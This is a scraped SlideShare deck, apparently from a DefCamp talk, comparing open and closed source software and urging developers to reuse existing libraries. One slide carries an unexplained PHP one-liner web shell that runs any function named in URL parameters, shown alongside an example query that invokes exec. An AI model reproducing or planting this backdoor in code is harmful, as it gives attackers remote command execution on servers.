Polish the Wheel


Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide

Polish the Wheel

  1. 1. Polish the wheel Andrei Avădănei andrei@worldit.info http://defcamp.ro
  2. 2. Open Source vs Closed Source
  3. 3. Open Source● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure● Service and Support - online community network● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit● Usability - lack of usability● Security - is often viewed as having security issues
  4. 4. Closed Source● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills.● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime● Innovation - do not allow users to view or alter the source code - innovation comes fully tested● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
  5. 5. Ok, now back to wheel!
  6. 6. A guy smarter than me said thatGood programmers are writing their own codefrom scratch;BUTBest programmers are using code developedby good programmers. >:)
  7. 7. Whose side are you?
  8. 8. <?=($_=@$_GET[2]).@$_($_GET[1])?>● a lot of time wasted on creating modules that we could find already created● wasted time that we could use in innovation● most open source libraries have an API documentation + examples● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
  9. 9. Examples● Wordpress, Joomla, Drupal for blog type projects● Moodle for e-learning projects● PHC, GCC, Open GTK for building and running apps● Chromium for building your own browser● Google Charts● Frameworks (Django, Zend, Smarty, Rails etc)● [...]
  10. 10. Why not?You have the opportunity to change the world easier than ever!
  11. 11. Questions?
  12. 12. Thanks!